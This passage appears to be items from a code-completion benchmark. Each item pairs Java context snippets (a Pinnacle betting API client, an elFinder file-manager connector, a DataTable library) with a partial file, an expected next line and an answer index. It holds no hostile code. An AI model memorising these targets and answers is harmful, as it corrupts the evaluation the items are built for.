[ "public class Json {\n\n\tprivate JsonObject jsonObject;\n\n\t/**\n\t * Private constructor by JsonObject.\n\t * \n\t * @param json\n\t */\n\tprivate Json(JsonObject jsonObject) {\n\t\tthis.jsonObject = jsonObject;\n\t}\n\n\t/**\n\t * Factory\n\t * \n\t * @param text\n\t * @return\n\t * @throws PinnacleException\n\t */\n\tpublic static Json of(String text) throws PinnacleException {\n\t\ttry {\n\t\t\tJsonObject jsonObject = new Gson().fromJson(text, JsonObject.class);\n\t\t\tJson json = new Json(jsonObject);\n\t\t\tif (json.isErrorJson())\n\t\t\t\tthrow PinnacleException.errorReturned(200, text);\n\t\t\treturn json;\n\t\t} catch (JsonSyntaxException e) {\n\t\t\tthrow PinnacleException.jsonUnparsable(\"JSON syntax error: \" + text);\n\t\t}\n\t}\n\n\tprivate boolean isErrorJson() {\n\t\treturn this.getAsString(\"code\").isPresent() && this.getAsString(\"message\").isPresent();\n\t}\n\n\tprivate Optional<JsonElement> getElement(String key) {\n\t\treturn Optional.ofNullable(this.jsonObject.get(key));\n\t}\n\n\tpublic Optional<BigDecimal> getAsBigDecimal(String key) {\n\t\treturn this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement::getAsBigDecimal);\n\t}\n\n\tOptional<BigInteger> getAsBigInteger(String key) {\n\t\treturn this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement::getAsBigInteger);\n\t}\n\n\tpublic Optional<Boolean> getAsBoolean(String key) {\n\t\treturn this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement::getAsBoolean);\n\t}\n\n\t/*\n\t * Optional<Byte> getAsByte (String key) { return\n\t * this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement\n\t * ::getAsByte); }\n\t * \n\t * Optional<Character> getAsCharacter (String key) { return\n\t * this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement\n\t * ::getAsCharacter); }\n\t * \n\t * Optional<Double> getAsDouble (String key) { return\n\t * this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement\n\t * ::getAsDouble); }\n\t * \n\t * Optional<Float> getAsFloat (String key) { return\n\t * this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement\n\t * ::getAsFloat); }\n\t */\n\n\tpublic Optional<Integer> getAsInteger(String key) {\n\t\treturn this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement::getAsInt);\n\t}\n\n\tpublic Optional<Long> getAsLong(String key) {\n\t\treturn this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement::getAsLong);\n\t}\n\n\t/*\n\t * Optional<Number> getAsNumber (String key) { return\n\t * this.getElement(key).map(JsonElement::getAsNumber); }\n\t * \n\t * Optional<Short> getAsShort (String key) { return\n\t * this.getElement(key).map(JsonElement::getAsShort); }\n\t */\n\n\tpublic Optional<String> getAsString(String key) {\n\t\treturn this.getElement(key).filter(JsonElement::isJsonPrimitive).map(JsonElement::getAsString);\n\t}\n\n\tpublic Optional<Json> getAsJson(String key) {\n\t\treturn this.getElement(key).filter(JsonElement::isJsonObject).map(JsonElement::getAsJsonObject).map(Json::new);\n\t}\n\n\tpublic Stream<String> getAsStringStream(String keyOfArray) {\n\t\treturn this.getAsStream(keyOfArray).filter(JsonElement::isJsonPrimitive).map(JsonElement::getAsString);\n\t}\n\n\tpublic Stream<Json> getAsJsonStream(String keyOfArray) {\n\t\treturn this.getAsStream(keyOfArray).filter(JsonElement::isJsonObject).map(JsonElement::getAsJsonObject)\n\t\t\t\t.map(Json::new);\n\t}\n\n\tprivate Stream<JsonElement> getAsStream(String keyOfArray) {\n\t\treturn this.getElement(keyOfArray).filter(JsonElement::isJsonArray).map(this::toStream).orElse(Stream.empty());\n\t}\n\n\t/**\n\t * Converts an array of JsonElements to stream of JsonElements.\n\t * \n\t * @param element\n\t * - must be JsonArray\n\t * @return\n\t */\n\tprivate Stream<JsonElement> toStream(JsonElement element) {\n\t\tJsonArray array = element.getAsJsonArray();\n\t\tSpliterator<JsonElement> spliterator = Spliterators.spliterator(array.iterator(), array.size(), 64);\n\t\treturn StreamSupport.stream(spliterator, true); // true for parallel\n\t}\n}", "@SuppressWarnings(\"serial\")\npublic class PinnacleException extends IOException {\n\n\tenum TYPE {\n\t\tCONNECTION_FAILED, ERROR_RETURNED, PARAMETER_INVALID, JSON_UNPARSABLE;\n\t}\n\n\tprivate TYPE errorType;\n\n\tpublic TYPE errorType() {\n\t\treturn this.errorType;\n\t}\n\n\tprivate String errorJson;\n\n\tpublic String errorJson() {\n\t\treturn this.errorJson;\n\t}\n\n\t/*\n\t * public GenericException parsedErrorJson () throws PinnacleException {\n\t * return GenericException.parse(this.errorJson); }\n\t */\n\tprivate int statusCode;\n\n\tpublic int statusCode() {\n\t\treturn this.statusCode;\n\t}\n\n\tprivate String unparsableJson;\n\n\tpublic String unparsableJson() {\n\t\treturn this.unparsableJson;\n\t}\n\n\tprivate PinnacleException(String message, TYPE errorType) {\n\t\tsuper(message);\n\t\tthis.errorType = errorType;\n\t}\n\n\tstatic PinnacleException connectionFailed(String message) {\n\t\treturn new PinnacleException(message, TYPE.CONNECTION_FAILED);\n\t}\n\n\tstatic PinnacleException errorReturned(int statusCode, String errorJson) {\n\t\tPinnacleException ex = new PinnacleException(\"API returned an error response:[\" + statusCode + \"] \" + errorJson,\n\t\t\t\tTYPE.ERROR_RETURNED);\n\t\tex.statusCode = statusCode;\n\t\tex.errorJson = errorJson;\n\t\treturn ex;\n\t}\n\n\tstatic PinnacleException parameterInvalid(String message) {\n\t\treturn new PinnacleException(message, TYPE.PARAMETER_INVALID);\n\t}\n\n\tstatic PinnacleException jsonUnparsable(String unparsableJson) {\n\t\tPinnacleException ex = new PinnacleException(\"Couldn't parse JSON: \" + unparsableJson, TYPE.JSON_UNPARSABLE);\n\t\tex.unparsableJson = unparsableJson;\n\t\treturn ex;\n\t}\n}", "public enum EVENT_STATUS {\n\n\tLINES_UNAVAILABLE_TEMPORARILY(\"H\"),\n\tLINES_WITH_RED_CIRCLE(\"I\"),\n\tLINES_OPEN_FOR_BETTING(\"O\"),\n\tUNDEFINED(\"undefined\");\n\n\tprivate final String value;\n\t\n\tprivate EVENT_STATUS (final String value) {\n\t\tthis.value = value;\n\t}\n\t\n\tpublic String toAPI () {\n\t\treturn this.value;\n\t}\n\t\n\tpublic static EVENT_STATUS fromAPI (String value) {\n\t\treturn Arrays.stream(EVENT_STATUS.values())\n\t\t .filter(e -> e.value.equals(value))\n\t\t .findAny()\n\t\t .orElse(EVENT_STATUS.UNDEFINED);\n\t}\n}", "public enum LIVE_STATUS {\n\n\tNO_LIVE_BETTING(\"0\"),\n\tLIVE_BETTING(\"1\"),\n\tWILL_BE_OFFERED(\"2\"),\n\tUNDEFINED(\"undefined\");\n\n\tprivate final String value;\n\t\n\tprivate LIVE_STATUS (final String value) {\n\t\tthis.value = value;\n\t}\n\t\n\tpublic String toAPI () {\n\t\treturn this.value;\n\t}\n\t\n\tpublic static LIVE_STATUS fromAPI (String value) {\n\t\treturn Arrays.stream(LIVE_STATUS.values())\n\t\t .filter(e -> e.value.equals(value))\n\t\t .findAny()\n\t\t .orElse(LIVE_STATUS.UNDEFINED);\n\t}\n}", "public enum PARLAY_RESTRICTION {\n\n\tALLOWED_WITHOUT_RESTRICTIONS(\"0\"),\n\tNOT_ALLOWED(\"1\"),\n\tALLOWED_WITH_RESTRICTIONS(\"2\"),\n\tUNDEFINED(\"undefined\");\n\n\tprivate final String value;\n\t\n\tprivate PARLAY_RESTRICTION (final String value) {\n\t\tthis.value = value;\n\t}\n\t\n\tpublic String toAPI () {\n\t\treturn this.value;\n\t}\n\t\n\tpublic static PARLAY_RESTRICTION fromAPI (String value) {\n\t\treturn Arrays.stream(PARLAY_RESTRICTION.values())\n\t\t .filter(e -> e.value.equals(value))\n\t\t .findAny()\n\t\t .orElse(PARLAY_RESTRICTION.UNDEFINED);\n\t}\n}" ]
import java.time.Instant; import java.util.ArrayList; import java.util.List; import java.util.Optional; import java.util.stream.Collectors; import java.util.stream.Stream; import pinnacle.api.Json; import pinnacle.api.PinnacleException; import pinnacle.api.enums.EVENT_STATUS; import pinnacle.api.enums.LIVE_STATUS; import pinnacle.api.enums.PARLAY_RESTRICTION;
package pinnacle.api.dataobjects; public class Fixtures extends AbstractDataObject { private Integer sportId; public Integer sportId() { return this.sportId; } private Long last; public Long last() { return this.last; } private List<League> league = new ArrayList<>(); public List<League> league() { return this.league; } public Stream<League> leagueAsStream() { return this.league.stream(); } private Fixtures(Json json) { this.sportId = json.getAsInteger("sportId").orElse(null); this.last = json.getAsLong("last").orElse(null); this.league = json.getAsJsonStream("league").map(League::new).collect(Collectors.toList()); this.checkRequiredKeys(); } private Fixtures() { this.isEmpty = true; } public static Fixtures parse(String jsonText) throws PinnacleException { return jsonText.equals("{}") ? new Fixtures() : new Fixtures(Json.of(jsonText)); } @Override boolean hasRequiredKeyWithNull() { return this.sportId == null || this.last == null; } @Override public String toString() { return "Fixtures [sportId=" + sportId + ", last=" + last + ", league=" + league + "]"; } public static class League extends AbstractDataObject { private Long id; public Long id() { return this.id; } private List<Event> events = new ArrayList<>(); public List<Event> events() { return this.events; } public Stream<Event> eventsAsStream() { return this.events.stream(); } private League(Json json) { this.id = json.getAsLong("id").orElse(null); this.events = json.getAsJsonStream("events").map(Event::new).collect(Collectors.toList()); this.checkRequiredKeys(); } @Override boolean hasRequiredKeyWithNull() { return this.id == null; } @Override public String toString() { return "League [id=" + id + ", events=" + events + "]"; } } public static class Event extends AbstractDataObject { private Long id; public Long id() { return this.id; } private Instant starts; public Instant starts() { return this.starts; } private String home; public String home() { return this.home; } private String away; public String away() { return this.away; } private String rotNum; public String rotNum() { return this.rotNum; } private Optional<LIVE_STATUS> liveStatus; public Optional<LIVE_STATUS> liveStatus() { return this.liveStatus; } private EVENT_STATUS status; public EVENT_STATUS status() { return this.status; }
private PARLAY_RESTRICTION parlayRestriction;
4
trustsystems/elfinder-java-connector
src/main/java/br/com/trustsystems/elfinder/command/AbstractCommand.java
[ "public final class ElFinderConstants {\n\n //global constants\n public static final int ELFINDER_TRUE_RESPONSE = 1;\n public static final int ELFINDER_FALSE_RESPONSE = 0;\n\n //options\n public static final String ELFINDER_VERSION_API = \"2.1\";\n\n //security\n // regex that matches any character that\n // occurs zero or more times (finds any character sequence)\n public static final String ELFINDER_VOLUME_SERCURITY_REGEX = \"_.*\";\n\n //api commands parameters\n public static final String ELFINDER_PARAMETER_INIT = \"init\";\n public static final String ELFINDER_PARAMETER_TREE = \"tree\";\n public static final String ELFINDER_PARAMETER_TARGET = \"target\";\n public static final String ELFINDER_PARAMETER_API = \"api\";\n public static final String ELFINDER_PARAMETER_NETDRIVERS = \"netDrivers\";\n public static final String ELFINDER_PARAMETER_FILES = \"files\";\n public static final String ELFINDER_PARAMETER_CWD = \"cwd\";\n public static final String ELFINDER_PARAMETER_OPTIONS = \"options\";\n public static final String ELFINDER_PARAMETER_HASH = \"hash\";\n public static final String ELFINDER_PARAMETER_MIME = \"mime\";\n public static final String ELFINDER_PARAMETER_TIMESTAMP = \"ts\";\n public static final String ELFINDER_PARAMETER_SIZE = \"size\";\n public static final String ELFINDER_PARAMETER_READ = \"read\";\n public static final String ELFINDER_PARAMETER_WRITE = \"write\";\n public static final String ELFINDER_PARAMETER_LOCKED = \"locked\";\n public static final String ELFINDER_PARAMETER_THUMBNAIL = \"tmb\";\n public static final String ELFINDER_PARAMETER_PARENTHASH = \"phash\";\n public static final String ELFINDER_PARAMETER_DIRECTORY_FILE_NAME = \"name\";\n public static final String ELFINDER_PARAMETER_VOLUME_ID = \"volumeid\";\n public static final String ELFINDER_PARAMETER_HAS_DIR = \"dirs\";\n public static final String ELFINDER_PARAMETER_PATH = \"path\";\n public static final String ELFINDER_PARAMETER_COMMAND_DISABLED = \"disabled\";\n public static final String ELFINDER_PARAMETER_FILE_SEPARATOR = \"/\";\n public static final String ELFINDER_PARAMETER_OVERWRITE_FILE = \"copyOverwrite\";\n public static final String ELFINDER_PARAMETER_ARCHIVERS = \"archivers\";\n public static final String ELFINDER_PARAMETER_COMMAND = \"cmd\";\n public static final String ELFINDER_PARAMETER_TARGETS = \"targets[]\";\n public static final String ELFINDER_PARAMETER_SEARCH_QUERY = \"q\";\n public static final String ELFINDER_PARAMETER_CONTENT = \"content\";\n public static final String ELFINDER_PARAMETER_LIST = \"list\";\n public static final String ELFINDER_PARAMETER_NAME = \"name\";\n public static final String ELFINDER_PARAMETER_FILE_DESTINATION = \"dst\";\n public static final String ELFINDER_PARAMETER_CUT = \"cut\";\n public static final String ELFINDER_PARAMETER_TYPE = \"type\";\n\n //api commands json header\n public static final String ELFINDER_JSON_RESPONSE_ADDED = \"added\";\n public static final String ELFINDER_JSON_RESPONSE_REMOVED = \"removed\";\n public static final String ELFINDER_JSON_RESPONSE_CHANGED = \"changed\";\n public static final String ELFINDER_JSON_RESPONSE_DIM = \"dim\";\n public static final String ELFINDER_JSON_RESPONSE_ERROR = \"error\";\n public static final String ELFINDER_JSON_RESPONSE_SIZE = \"size\";\n}", "public interface ElfinderContext {\n\n ElfinderStorageFactory getVolumeSourceFactory();\n\n HttpServletRequest getRequest();\n\n HttpServletResponse getResponse();\n\n}", "public interface Target {\n\n Volume getVolume();\n\n}", "public interface ElfinderStorage {\n\n Target fromHash(String hash);\n\n String getHash(Target target) throws IOException;\n\n String getVolumeId(Volume volume);\n\n Locale getVolumeLocale(Volume volume);\n\n VolumeSecurity getVolumeSecurity(Target target);\n\n List<Volume> getVolumes();\n\n List<VolumeSecurity> getVolumeSecurities();\n\n ThumbnailWidth getThumbnailWidth();\n}", "public class VolumeHandler {\n\n private final Volume volume;\n private final Target target;\n private final VolumeSecurity volumeSecurity;\n private final ElfinderStorage elfinderStorage;\n\n public VolumeHandler(Target target, ElfinderStorage elfinderStorage) {\n this.target = target;\n this.volume = target.getVolume();\n this.volumeSecurity = elfinderStorage.getVolumeSecurity(target);\n this.elfinderStorage = elfinderStorage;\n }\n\n public VolumeHandler(VolumeHandler parent, String name) throws IOException {\n this.volume = parent.volume;\n this.elfinderStorage = parent.elfinderStorage;\n this.target = volume.fromPath(volume.getPath(parent.target) + ElFinderConstants.ELFINDER_PARAMETER_FILE_SEPARATOR + name);\n this.volumeSecurity = elfinderStorage.getVolumeSecurity(target);\n }\n\n public void createFile() throws IOException {\n volume.createFile(target);\n }\n\n public void createFolder() throws IOException {\n volume.createFolder(target);\n }\n\n public void delete() throws IOException {\n if (volume.isFolder(target)) {\n volume.deleteFolder(target);\n } else {\n volume.deleteFile(target);\n }\n }\n\n public boolean exists() {\n return volume.exists(target);\n }\n\n public String getHash() throws IOException {\n return elfinderStorage.getHash(target);\n }\n\n public long getLastModified() throws IOException {\n return volume.getLastModified(target);\n }\n\n public String getMimeType() throws IOException {\n return volume.getMimeType(target);\n }\n\n public String getName() {\n return volume.getName(target);\n }\n\n public VolumeHandler getParent() {\n return new VolumeHandler(volume.getParent(target), elfinderStorage);\n }\n\n public long getSize() throws IOException {\n return volume.getSize(target);\n }\n\n public String getVolumeId() {\n return elfinderStorage.getVolumeId(volume);\n }\n\n public boolean hasChildFolder() throws IOException {\n return volume.hasChildFolder(target);\n }\n\n public boolean isFolder() {\n return volume.isFolder(target);\n }\n\n public boolean isLocked() {\n return this.volumeSecurity.getSecurityConstraint().isLocked();\n }\n\n public boolean isReadable() {\n return this.volumeSecurity.getSecurityConstraint().isReadable();\n }\n\n public boolean isWritable() {\n return this.volumeSecurity.getSecurityConstraint().isWritable();\n }\n\n public boolean isRoot() throws IOException {\n return volume.isRoot(target);\n }\n\n public List<VolumeHandler> listChildren() throws IOException {\n List<VolumeHandler> list = new ArrayList<>();\n for (Target child : volume.listChildren(target)) {\n list.add(new VolumeHandler(child, elfinderStorage));\n }\n return list;\n }\n\n public InputStream openInputStream() throws IOException {\n return volume.openInputStream(target);\n }\n\n public OutputStream openOutputStream() throws IOException {\n return volume.openOutputStream(target);\n }\n\n public void renameTo(VolumeHandler dst) throws IOException {\n volume.rename(target, dst.target);\n }\n\n public String getVolumeAlias() {\n return volume.getAlias();\n }\n}", "public enum ArchiverOption {\n\n INSTANCE;\n\n public static final JSONObject JSON_INSTANCE = new JSONObject(INSTANCE);\n\n public String[] getCreate() {\n return ArchiverType.SUPPORTED_MIME_TYPES;\n }\n\n public String[] getExtract() {\n return ArchiverType.SUPPORTED_MIME_TYPES;\n }\n\n}" ]
import br.com.trustsystems.elfinder.ElFinderConstants; import br.com.trustsystems.elfinder.core.ElfinderContext; import br.com.trustsystems.elfinder.core.Target; import br.com.trustsystems.elfinder.service.ElfinderStorage; import br.com.trustsystems.elfinder.service.VolumeHandler; import br.com.trustsystems.elfinder.support.archiver.ArchiverOption; import org.apache.commons.io.IOUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.*;
/* * #%L * %% * Copyright (C) 2015 Trustsystems Desenvolvimento de Sistemas, LTDA. * %% * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. Neither the name of the Trustsystems Desenvolvimento de Sistemas, LTDA. nor the names of its contributors * may be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * #L% */ package br.com.trustsystems.elfinder.command; public abstract class AbstractCommand implements ElfinderCommand { // visible to subclasses protected final Logger logger = LoggerFactory.getLogger(getClass()); private static final String CMD_TMB_TARGET = "?cmd=tmb&target=%s"; private Map<String, Object> options = new HashMap<>(); protected void addChildren(Map<String, VolumeHandler> map, VolumeHandler target) throws IOException { for (VolumeHandler f : target.listChildren()) { map.put(f.getHash(), f); } } protected void addSubFolders(Map<String, VolumeHandler> map, VolumeHandler target) throws IOException { for (VolumeHandler f : target.listChildren()) { if (f.isFolder()) { map.put(f.getHash(), f); addSubFolders(map, f); } } } protected void createAndCopy(VolumeHandler src, VolumeHandler dst) throws IOException { if (src.isFolder()) { createAndCopyFolder(src, dst); } else { createAndCopyFile(src, dst); } } private void createAndCopyFile(VolumeHandler src, VolumeHandler dst) throws IOException { dst.createFile(); InputStream is = src.openInputStream(); OutputStream os = dst.openOutputStream(); IOUtils.copy(is, os); is.close(); os.close(); } private void createAndCopyFolder(VolumeHandler src, VolumeHandler dst) throws IOException { dst.createFolder(); for (VolumeHandler c : src.listChildren()) { if (c.isFolder()) { createAndCopyFolder(c, new VolumeHandler(dst, c.getName())); } else { createAndCopyFile(c, new VolumeHandler(dst, c.getName())); } } } @Override public void execute(ElfinderContext context) throws Exception {
ElfinderStorage elfinderStorage = context.getVolumeSourceFactory().getVolumeSource();
3
martincooper/java-datatable
src/test/java/QuickSortTests.java
[ "public class DataTable implements IBaseTable {\n\n private final String name;\n private final DataRowCollectionModifiable rows;\n private final DataColumnCollection columns;\n\n /**\n * Private DataTable constructor. Empty Table with no columns.\n * Use 'build' to create instance.\n *\n * @param tableName The name of the table.\n */\n private DataTable(String tableName) {\n this.name = tableName;\n this.columns = new DataColumnCollection(this);\n this.rows = DataRowCollectionModifiable.build(this);\n }\n\n /**\n * Private DataTable Constructor.\n * Use 'build' to create instance.\n *\n * @param tableName The name of the table.\n * @param columns The collection of columns in the table.\n */\n private DataTable(String tableName, Iterable<IDataColumn> columns) {\n this.name = tableName;\n this.columns = new DataColumnCollection(this, columns);\n this.rows = DataRowCollectionModifiable.build(this);\n }\n\n /**\n * Returns an iterator over elements of type DataRow.\n *\n * @return an Iterator.\n */\n @Override\n public Iterator<DataRow> iterator() {\n return this.rows.iterator();\n }\n\n /**\n * The name of the table.\n *\n * @return Returns the table name.\n */\n @Override\n public String name() { return this.name; }\n\n /**\n * The column collection.\n *\n * @return Returns the columns collection.\n */\n @Override\n public DataColumnCollection columns() { return this.columns; }\n\n /**\n * The row collection.\n *\n * @return Returns the row collection.\n */\n @Override\n public DataRowCollectionModifiable rows() { return this.rows; }\n\n /**\n * Returns the rowCount / row count of the table.\n *\n * @return The row count of the table.\n */\n @Override\n public Integer rowCount() {\n return this.columns.count() > 0\n ? this.columns.get(0).data().length()\n : 0;\n }\n\n /**\n * Return a new DataTable based on this table (clone).\n *\n * @return Returns a clone of this DataTable.\n */\n @Override\n public DataTable toDataTable() {\n return DataTable.build(this.name, this.columns).get();\n }\n\n /**\n * Return a new Data View based on this table.\n *\n * @return A new Data View based on this table.\n */\n @Override\n public DataView toDataView() {\n return DataView.build(this, this.rows).get();\n }\n\n /**\n * Filters the row data using the specified predicate,\n * returning the results as a DataView over the original table.\n *\n * @param predicate The filter criteria.\n * @return Returns a DataView with the filter results.\n */\n public DataView filter(Predicate<DataRow> predicate) {\n return this.rows.filter(predicate);\n }\n\n /**\n * Map operation across the Data Rows in the table.\n *\n * @param mapper The mapper function.\n * @param <U> The return type.\n * @return Returns the mapped results.\n */\n public <U> Seq<U> map(Function<? super DataRow, ? extends U> mapper) {\n return this.rows.map(mapper);\n }\n\n /**\n * FlatMap implementation for the DataRowCollection class.\n *\n * @param <U> Mapped return type.\n * @param mapper The map function.\n * @return Returns a sequence of the applied flatMap.\n */\n public <U> Seq<U> flatMap(Function<? super DataRow, ? extends Iterable <? extends U>> mapper) {\n return this.rows.flatMap(mapper);\n }\n\n /**\n * Reduce implementation for the DataRowCollection class.\n *\n * @param reducer The reduce function.\n * @return Returns a single, reduced DataRow.\n */\n public DataRow reduce(BiFunction<? super DataRow, ? super DataRow, ? extends DataRow> reducer) {\n return this.rows.reduce(reducer);\n }\n\n /**\n * GroupBy implementation for the DataRowCollection class.\n *\n * @param grouper The group by function.\n * @return Returns a map containing the grouped data.\n */\n public <C> Map<C, Vector<DataRow>> groupBy(Function<? super DataRow, ? extends C> grouper) {\n return this.rows.groupBy(grouper);\n }\n\n /**\n * Fold Left implementation for the DataRowCollection class.\n *\n * @param <U> Fold return type.\n * @param folder The fold function.\n * @return Returns a single value of U.\n */\n public <U> U foldLeft(U zero, BiFunction<? super U, ? super DataRow, ? extends U> folder) {\n return this.rows.foldLeft(zero, folder);\n }\n\n /**\n * Fold Right implementation for the DataRowCollection class.\n *\n * @param <U> Fold return type.\n * @param folder The fold function.\n * @return Returns a single value of U.\n */\n public <U> U foldRight(U zero, BiFunction<? super DataRow, ? super U, ? extends U> folder) {\n return this.rows.foldRight(zero, folder);\n }\n\n /**\n * Accessor to a specific row by index.\n *\n * @return Returns a single row.\n */\n public DataRow row(Integer rowIdx) {\n return this.rows.get(rowIdx);\n }\n\n /**\n * Accessor to a specific column by index.\n *\n * @param colIdx The index of the column to return.\n * @return Returns a single column.\n */\n public IDataColumn column(Integer colIdx) {\n return this.columns.get(colIdx);\n }\n\n /**\n * Accessor to a specific column by name.\n *\n * @param colName The name of the column to return.\n * @return Returns a single column.\n */\n public IDataColumn column(String colName) {\n return this.columns.get(colName);\n }\n\n /**\n * Table QuickSort by single column name.\n *\n * @param columnName The column name to sort.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(String columnName) {\n return this.quickSort(columnName, SortOrder.Ascending);\n }\n\n /**\n * Table QuickSort by single column name and a sort order.\n *\n * @param columnName The column name to sort.\n * @param sortOrder The sort order.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(String columnName, SortOrder sortOrder) {\n SortItem sortItem = new SortItem(columnName, sortOrder);\n return DataSort.quickSort(this, this.rows.asSeq(), Stream.of(sortItem));\n }\n\n /**\n * Table QuickSort by single column index.\n *\n * @param columnIndex The column index to sort.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(Integer columnIndex) {\n return quickSort(columnIndex, SortOrder.Ascending);\n }\n\n /**\n * Table QuickSort by single column index and a sort order.\n *\n * @param columnIndex The column index to sort.\n * @param sortOrder The sort order.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(Integer columnIndex, SortOrder sortOrder) {\n SortItem sortItem = new SortItem(columnIndex, sortOrder);\n return DataSort.quickSort(this, this.rows.asSeq(), Stream.of(sortItem));\n }\n\n /**\n * Table QuickSort by single sort item.\n *\n * @param sortItem The sort item.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(SortItem sortItem) {\n return this.quickSort(Stream.of(sortItem));\n }\n\n /**\n * Table QuickSort by multiple sort items.\n *\n * @param sortItems The sort items.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(Iterable<SortItem> sortItems) {\n return DataSort.quickSort(this, this.rows.asSeq(), Stream.ofAll(sortItems));\n }\n\n /**\n * Builds an instance of a DataTable.\n *\n * @param tableName The name of the table.\n * @return Returns an instance of a DataTable.\n */\n public static DataTable build(String tableName) {\n return new DataTable(tableName);\n }\n\n /**\n * Builds an instance of a DataTable.\n * Columns are validated before creation, returning a Failure on error.\n *\n * @param tableName The name of the table.\n * @param columns The column collection.\n * @return Returns a DataTable wrapped in a Try.\n */\n public static Try<DataTable> build(String tableName, IDataColumn[] columns) {\n return build(tableName, Stream.of(columns));\n }\n\n /**\n * Builds an instance of a DataTable.\n * Columns are validated before creation, returning a Failure on error.\n *\n * @param tableName The name of the table.\n * @param columns The column collection.\n * @return Returns a DataTable wrapped in a Try.\n */\n public static Try<DataTable> build(String tableName, Iterable<IDataColumn> columns) {\n return build(tableName, Stream.ofAll(columns));\n }\n\n /**\n * Builds an instance of a DataTable.\n * Columns are validated before creation, returning a Failure on error.\n *\n * @param tableName The name of the table.\n * @param columns The column collection.\n * @return Returns a DataTable wrapped in a Try.\n */\n public static Try<DataTable> build(String tableName, Stream<IDataColumn> columns) {\n return Match(validateColumns(columns)).of(\n Case($Success($()), cols -> Try.success(new DataTable(tableName, cols))),\n Case($Failure($()), Try::failure)\n );\n }\n\n /**\n * Validates the column data.\n *\n * @param columns The columns to validate.\n * @return Returns a Success or Failure.\n */\n private static Try<Seq<IDataColumn>> validateColumns(Iterable<IDataColumn> columns) {\n return validateColumnNames(Stream.ofAll(columns))\n .flatMap(DataTable::validateColumnDataLength);\n }\n\n /**\n * Validates there are no duplicate columns names.\n *\n * @param columns The columns to check.\n * @return Returns a Success or Failure.\n */\n private static Try<Seq<IDataColumn>> validateColumnNames(Seq<IDataColumn> columns) {\n return columns.groupBy(IDataColumn::name).length() != columns.length()\n ? DataTableException.tryError(\"Columns contain duplicate names.\")\n : Try.success(columns);\n }\n\n /**\n * Validates the number of items in each column is the same.\n *\n * @param columns The columns to check.\n * @return Returns a Success or Failure.\n */\n private static Try<Seq<IDataColumn>> validateColumnDataLength(Seq<IDataColumn> columns) {\n return columns.groupBy(col -> col.data().length()).length() > 1\n ? DataTableException.tryError(\"Columns have different lengths.\")\n : Try.success(columns);\n }\n}", "public class DataTableBuilder {\n\n private final String tableName;\n private List<IDataColumn> dataColumns;\n\n /**\n * DataTableBuilder. Private constructor. Used by the create() method.\n *\n * @param tableName The name of the table to create.\n */\n private DataTableBuilder(String tableName) {\n this.tableName = tableName;\n this.dataColumns = List.empty();\n }\n\n /**\n * Creates a new instance of a DataTableBuilder, passing table name.\n *\n * @param tableName The name of the table.\n * @return Returns a new instance of a DataTableBuilder, allowing method chaining.\n */\n public static DataTableBuilder create(String tableName) {\n return new DataTableBuilder(tableName);\n }\n\n /**\n * Allows an additional column to be added when building a table.\n *\n * @param type The data type of the column.\n * @param columnName The column name.\n * @param data The data contained in the column.\n * @param <T> The column type.\n * @return Adds a new column and returns an instance to the current Data Table Builder.\n */\n public <T> DataTableBuilder withColumn(Class<T> type, String columnName, Iterable<T> data) {\n this.dataColumns = this.dataColumns.append(new DataColumn<T>(type, columnName, data));\n return this;\n }\n\n /**\n * Allows an additional column to be added when building a table.\n *\n * @param type The data type of the column.\n * @param columnName The column name.\n * @param data The data contained in the column.\n * @param <T> The column type.\n * @return Adds a new column and returns an instance to the current Data Table Builder.\n */\n @SafeVarargs\n public final <T> DataTableBuilder withColumn(Class<T> type, String columnName, T... data) {\n this.dataColumns = this.dataColumns.append(new DataColumn<T>(type, columnName, data));\n return this;\n }\n\n /**\n * Attempts to build the data table from all the details in the chained method calls.\n *\n * @return Returns a Try DataTable.\n */\n public Try<DataTable> build() {\n return DataTable.build(this.tableName, this.dataColumns);\n }\n}", "public class DataView implements IBaseTable {\n\n private final DataTable table;\n private final DataRowCollection rows;\n\n /**\n * Private DataView constructor. Use build() to construct.\n *\n * @param table The underlying Data Table.\n * @param 